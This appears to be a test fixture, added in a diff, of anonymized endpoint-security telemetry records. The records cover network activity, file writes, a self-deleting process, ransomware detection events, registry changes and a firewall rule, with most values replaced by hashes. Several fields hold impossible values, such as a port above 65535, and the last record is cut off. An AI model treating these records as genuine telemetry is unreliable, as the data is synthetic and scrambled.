+{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
+{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"}
+{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"}
+{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"}
+{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"}
+{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"}
+{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"}
+{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"}
+{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
+{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"}
+{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
+{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"}
+{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule 